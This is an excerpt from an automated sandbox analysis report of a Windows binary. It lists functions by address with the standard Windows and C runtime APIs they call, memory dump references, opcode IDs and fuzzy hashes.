                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119822793.00007FF7FD76E000.00000004.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119822793.00007FF7FD772000.00000004.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119870700.00007FF7FD774000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119870700.00007FF7FD779000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_10_2_7ff7fd730000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: _invalid_parameter_noinfo
                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                              • API String ID: 3215553584-0
                                                                                                                                                                                                                                              • Opcode ID: 2fd4b9cf4e2c203a215f80a0453bc9b94d2a0e119ef729a2f51343e3c0f92604
                                                                                                                                                                                                                                              • Instruction ID: 79cca4504dc648fe8aa8effeaf681342c190ebe107b53799f1e9e3922d2d4adb
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 2fd4b9cf4e2c203a215f80a0453bc9b94d2a0e119ef729a2f51343e3c0f92604
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: D951F921A0D241C6E726BA25940867EA691BF4EBA4F944634DE7D0B7C5EF3CF401A6F0
                                                                                                                                                                                                                                              Function 00007FF7FD74C1A4 Relevance: 3.0, APIs: 2, Instructions: 46COMMONLIBRARYCODE
                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 0000000A.00000002.2119757665.00007FF7FD731000.00000020.00000001.01000000.0000002D.sdmp, Offset: 00007FF7FD730000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119733993.00007FF7FD730000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119792103.00007FF7FD75B000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119822793.00007FF7FD76E000.00000004.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119822793.00007FF7FD772000.00000004.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119870700.00007FF7FD774000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119870700.00007FF7FD779000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_10_2_7ff7fd730000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: ErrorFileLastPointer
                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                              • API String ID: 2976181284-0
                                                                                                                                                                                                                                              • Opcode ID: fe8bab274ce7bcf2293d1df97f88808174c3604892bb54168c1d2d59b6616a84
                                                                                                                                                                                                                                              • Instruction ID: 893ec1bfc59b8ae72a36abd2edb391dc8f93d6cf575f9c71a77174c8aac1a625
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: fe8bab274ce7bcf2293d1df97f88808174c3604892bb54168c1d2d59b6616a84
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: C011C86161CA8181DB109B25A41416DE351FB4ABF4F944332EE7D4F7D9EE7CD01187E0
                                                                                                                                                                                                                                              Function 00007FF7FD745994 Relevance: 3.0, APIs: 2, Instructions: 40timeCOMMON
                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                              • FileTimeToSystemTime.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7FD7458A9), ref: 00007FF7FD7459C7
                                                                                                                                                                                                                                              • SystemTimeToTzSpecificLocalTime.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7FD7458A9), ref: 00007FF7FD7459DD
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 0000000A.00000002.2119757665.00007FF7FD731000.00000020.00000001.01000000.0000002D.sdmp, Offset: 00007FF7FD730000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119733993.00007FF7FD730000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119792103.00007FF7FD75B000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119822793.00007FF7FD76E000.00000004.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119822793.00007FF7FD772000.00000004.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119870700.00007FF7FD774000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119870700.00007FF7FD779000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_10_2_7ff7fd730000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: Time$System$FileLocalSpecific
                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                              • API String ID: 1707611234-0
                                                                                                                                                                                                                                              • Opcode ID: 3eb82881f56b5e10c0b4ae1229c4961d4f4fc58e8f6ff53d00dfea58f30bf4d5
                                                                                                                                                                                                                                              • Instruction ID: 2d4aae9c0b62579bf5b62c0b6a2d866679644f9f678846220c4b988c28743a4e
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 3eb82881f56b5e10c0b4ae1229c4961d4f4fc58e8f6ff53d00dfea58f30bf4d5
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 4811913261C642C2EB55AB50A44513AF760FB89771F900236FAAD89AD8FF7CD014CBB0
                                                                                                                                                                                                                                              Function 00007FF7FD74A9B8 Relevance: 3.0, APIs: 2, Instructions: 19memoryCOMMONLIBRARYCODE
                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                              • RtlFreeHeap.NTDLL(?,?,?,00007FF7FD752D92,?,?,?,00007FF7FD752DCF,?,?,00000000,00007FF7FD753295,?,?,?,00007FF7FD7531C7), ref: 00007FF7FD74A9CE
                                                                                                                                                                                                                                              • GetLastError.KERNEL32(?,?,?,00007FF7FD752D92,?,?,?,00007FF7FD752DCF,?,?,00000000,00007FF7FD753295,?,?,?,00007FF7FD7531C7), ref: 00007FF7FD74A9D8
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 0000000A.00000002.2119757665.00007FF7FD731000.00000020.00000001.01000000.0000002D.sdmp, Offset: 00007FF7FD730000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119733993.00007FF7FD730000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119792103.00007FF7FD75B000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119822793.00007FF7FD76E000.00000004.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119822793.00007FF7FD772000.00000004.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119870700.00007FF7FD774000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119870700.00007FF7FD779000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_10_2_7ff7fd730000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: ErrorFreeHeapLast
                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                              • API String ID: 485612231-0
                                                                                                                                                                                                                                              • Opcode ID: 4768bb9444967098c6ff0662bce39d003f3d6bed11959a3c87c06bce48e858a7
                                                                                                                                                                                                                                              • Instruction ID: e95292e4ef5116d99fdb108e643526cbe3c690f350a18aba445e113676492382
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 4768bb9444967098c6ff0662bce39d003f3d6bed11959a3c87c06bce48e858a7
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: D1E08611F0C60382FF057BB254492799250AF8D744FC50034D93D5E2E1FE2C688583F0
                                                                                                                                                                                                                                              Function 00007FF7FD74ABC8 Relevance: 2.6, APIs: 2, Instructions: 59COMMON
                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                              • CloseHandle.KERNELBASE(?,?,?,00007FF7FD74AA45,?,?,00000000,00007FF7FD74AAFA), ref: 00007FF7FD74AC36
                                                                                                                                                                                                                                              • GetLastError.KERNEL32(?,?,?,00007FF7FD74AA45,?,?,00000000,00007FF7FD74AAFA), ref: 00007FF7FD74AC40
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 0000000A.00000002.2119757665.00007FF7FD731000.00000020.00000001.01000000.0000002D.sdmp, Offset: 00007FF7FD730000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119733993.00007FF7FD730000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119792103.00007FF7FD75B000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119822793.00007FF7FD76E000.00000004.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119822793.00007FF7FD772000.00000004.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119870700.00007FF7FD774000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119870700.00007FF7FD779000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_10_2_7ff7fd730000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: CloseErrorHandleLast
                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                              • API String ID: 918212764-0
                                                                                                                                                                                                                                              • Opcode ID: 1c4273fb4a414bd16749861b25ace672462e960675883ae7dbf138385109c950
                                                                                                                                                                                                                                              • Instruction ID: 26bb0d68ac65fb9d66fbb89b2b09f199346183c4cdde6b475d7ef10d2360eb1c
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 1c4273fb4a414bd16749861b25ace672462e960675883ae7dbf138385109c950
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: F821D411F1C64282EBD277619598379D6829F8E7A4FD84239D93E4F3C2EE6CA44483F0
                                                                                                                                                                                                                                              Function 00007FF7FD74BF1C Relevance: 1.6, APIs: 1, Instructions: 112COMMONLIBRARYCODE
                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 0000000A.00000002.2119757665.00007FF7FD731000.00000020.00000001.01000000.0000002D.sdmp, Offset: 00007FF7FD730000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119733993.00007FF7FD730000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119792103.00007FF7FD75B000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119822793.00007FF7FD76E000.00000004.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119822793.00007FF7FD772000.00000004.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119870700.00007FF7FD774000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119870700.00007FF7FD779000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_10_2_7ff7fd730000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: _invalid_parameter_noinfo
                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                              • API String ID: 3215553584-0
                                                                                                                                                                                                                                              • Opcode ID: 83fd655adac635c1bfef66338e564e5d3c087748e58eff1a34e14c1f5e77bb28
                                                                                                                                                                                                                                              • Instruction ID: 2af047343c406df8aaae5680997cd0b7d48f8690d0fe5e4c31a49fd0cd377dfc
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 83fd655adac635c1bfef66338e564e5d3c087748e58eff1a34e14c1f5e77bb28
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 1241A732A1C201C7EB35AA19A54427DB7A4EF5AB45F900131DAAD4B6D1EF2DE402CBF1
                                                                                                                                                                                                                                              Function 00007FF7FD737F80 Relevance: 1.6, APIs: 1, Instructions: 85COMMON
                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 0000000A.00000002.2119757665.00007FF7FD731000.00000020.00000001.01000000.0000002D.sdmp, Offset: 00007FF7FD730000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119733993.00007FF7FD730000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119792103.00007FF7FD75B000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119822793.00007FF7FD76E000.00000004.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119822793.00007FF7FD772000.00000004.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119870700.00007FF7FD774000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119870700.00007FF7FD779000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_10_2_7ff7fd730000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: _fread_nolock
                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                              • API String ID: 840049012-0
                                                                                                                                                                                                                                              • Opcode ID: 8334f334696440ef64ed4453da584d980c1c0ded1461c6629ef7e16216bca0a0
                                                                                                                                                                                                                                              • Instruction ID: ee14c8cb10219036a6b6aca3031c24eaf451426529d7d0299a16ea35f74ffab7
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 8334f334696440ef64ed4453da584d980c1c0ded1461c6629ef7e16216bca0a0
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: C8216121B0C65186EB11AB1265043BAD651BF4ABC8FCC5430EE6D0B7C6EEBEE14196F0
                                                                                                                                                                                                                                              Function 00007FF7FD74B9AC Relevance: 1.6, APIs: 1, Instructions: 79COMMONLIBRARYCODE
                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 0000000A.00000002.2119757665.00007FF7FD731000.00000020.00000001.01000000.0000002D.sdmp, Offset: 00007FF7FD730000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119733993.00007FF7FD730000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119792103.00007FF7FD75B000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119822793.00007FF7FD76E000.00000004.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119822793.00007FF7FD772000.00000004.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119870700.00007FF7FD774000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119870700.00007FF7FD779000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_10_2_7ff7fd730000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: _invalid_parameter_noinfo
                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                              • API String ID: 3215553584-0
                                                                                                                                                                                                                                              • Opcode ID: e965e93cbe1d72adb8351a0dc15ff4730447cd31f91a428760958f4d16ec249d
                                                                                                                                                                                                                                              • Instruction ID: 25c023af3ca79d1d6c68a2e6f850ecad1c523c1ef341d49b80efaa0fd8ff14ca
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: e965e93cbe1d72adb8351a0dc15ff4730447cd31f91a428760958f4d16ec249d
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 8731A121A1CA42C5F7527B55884937CA650AF4AB98FC60135E93D0B3D2EFBCE84187F0
                                                                                                                                                                                                                                              Function 00007FF7FD7499D1 Relevance: 1.6, APIs: 1, Instructions: 61COMMON
                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 0000000A.00000002.2119757665.00007FF7FD731000.00000020.00000001.01000000.0000002D.sdmp, Offset: 00007FF7FD730000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119733993.00007FF7FD730000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119792103.00007FF7FD75B000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119822793.00007FF7FD76E000.00000004.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119822793.00007FF7FD772000.00000004.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119870700.00007FF7FD774000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119870700.00007FF7FD779000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_10_2_7ff7fd730000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: HandleModule$AddressFreeLibraryProc
                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                              • API String ID: 3947729631-0
                                                                                                                                                                                                                                              • Opcode ID: c67799cafce48778543f3f8f4be5d8193b6380671b5390c3378b203fc6564281
                                                                                                                                                                                                                                              • Instruction ID: 0fe8c813730294d4d3537a889201d7f590b8884dd34f2f3693eadaa008a1648f
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: c67799cafce48778543f3f8f4be5d8193b6380671b5390c3378b203fc6564281
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 51217F32B0D781CAEB66AF64C4482FC77A4EB49718F940639D62D0AAD5EF38D544C7E0
                                                                                                                                                                                                                                              Function 00007FF7FD746004 Relevance: 1.6, APIs: 1, Instructions: 55COMMON
                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 0000000A.00000002.2119757665.00007FF7FD731000.00000020.00000001.01000000.0000002D.sdmp, Offset: 00007FF7FD730000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119733993.00007FF7FD730000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119792103.00007FF7FD75B000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119822793.00007FF7FD76E000.00000004.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119822793.00007FF7FD772000.00000004.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119870700.00007FF7FD774000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119870700.00007FF7FD779000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_10_2_7ff7fd730000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: _invalid_parameter_noinfo
                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                              • API String ID: 3215553584-0
                                                                                                                                                                                                                                              • Opcode ID: d0ecc1d4814c8292f6d285d86e9f4332b8d7141ecd04c52723bb65a1ba9d936a
                                                                                                                                                                                                                                              • Instruction ID: 0585f4896c86fb47b208ae85959f62baa2bc13dd2eafb33b678e1ed2c98387a2
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: d0ecc1d4814c8292f6d285d86e9f4332b8d7141ecd04c52723bb65a1ba9d936a
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 41113A22A1C642C2EB63BE51940417EE264AF4AB84FD54031EA5C5BAD6EF7CD50087F1
                                                                                                                                                                                                                                              Function 00007FF7FD7563C4 Relevance: 1.6, APIs: 1, Instructions: 54COMMON
                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 0000000A.00000002.2119757665.00007FF7FD731000.00000020.00000001.01000000.0000002D.sdmp, Offset: 00007FF7FD730000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119733993.00007FF7FD730000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119792103.00007FF7FD75B000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119822793.00007FF7FD76E000.00000004.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119822793.00007FF7FD772000.00000004.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119870700.00007FF7FD774000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119870700.00007FF7FD779000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_10_2_7ff7fd730000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: _invalid_parameter_noinfo
                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                              • API String ID: 3215553584-0
                                                                                                                                                                                                                                              • Opcode ID: 3ea3ce3b0d542221f39e0ec21b1c29adddc4a64aa4be1ebee55588f6cedcbaa9
                                                                                                                                                                                                                                              • Instruction ID: ed9925138f1358434fab2121980ec42c7e7438f8d89c6b0614f2b17e118dc788
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 3ea3ce3b0d542221f39e0ec21b1c29adddc4a64aa4be1ebee55588f6cedcbaa9
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: EA21987261C64186DB619F18D44037EB660FB89B94F944234E66D4B6D5EF3CD4018BA0
                                                                                                                                                                                                                                              Function 00007FF7FD74042C Relevance: 1.5, APIs: 1, Instructions: 48COMMONLIBRARYCODE
                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 0000000A.00000002.2119757665.00007FF7FD731000.00000020.00000001.01000000.0000002D.sdmp, Offset: 00007FF7FD730000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119733993.00007FF7FD730000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119792103.00007FF7FD75B000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119822793.00007FF7FD76E000.00000004.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119822793.00007FF7FD772000.00000004.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119870700.00007FF7FD774000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119870700.00007FF7FD779000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_10_2_7ff7fd730000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: _invalid_parameter_noinfo
                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                              • API String ID: 3215553584-0
                                                                                                                                                                                                                                              • Opcode ID: 8e9754deeba93abb4745aa2efb451e77357aefa8fb0fbddb16feb6c8c90fdd62
                                                                                                                                                                                                                                              • Instruction ID: 8dc705a8e19fca150f9f319d9f778d6c6dc890b074c6029b8811708843bd2387
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 8e9754deeba93abb4745aa2efb451e77357aefa8fb0fbddb16feb6c8c90fdd62
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: D7018622A0C74180EB05BF569905169E691AF8BFE0B984531DE7C1BBD6EE3CE01157E0
                                                                                                                                                                                                                                              Function 00007FF7FD747F6C Relevance: 1.5, APIs: 1, Instructions: 43COMMON
                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 0000000A.00000002.2119757665.00007FF7FD731000.00000020.00000001.01000000.0000002D.sdmp, Offset: 00007FF7FD730000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119733993.00007FF7FD730000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119792103.00007FF7FD75B000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119822793.00007FF7FD76E000.00000004.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119822793.00007FF7FD772000.00000004.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119870700.00007FF7FD774000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119870700.00007FF7FD779000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_10_2_7ff7fd730000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: _invalid_parameter_noinfo
                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                              • API String ID: 3215553584-0
                                                                                                                                                                                                                                              • Opcode ID: fc3cc904b03b2a0a462270bd32b9568146bb9d8bd979ac04812cc4cde4b7db8e
                                                                                                                                                                                                                                              • Instruction ID: 21f3e68c44c052522f79873f88eebea7c2580b5a431ac791d9025515d8413775
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: fc3cc904b03b2a0a462270bd32b9568146bb9d8bd979ac04812cc4cde4b7db8e
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 46016D20A1D642C0FBA27B21A509179E190AF0F794FD84535EA3C4E6C6FF2CA44282F1
                                                                                                                                                                                                                                              Function 00007FF7FD7482A8 Relevance: 1.5, APIs: 1, Instructions: 19COMMON
                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 0000000A.00000002.2119757665.00007FF7FD731000.00000020.00000001.01000000.0000002D.sdmp, Offset: 00007FF7FD730000, based on PE: true
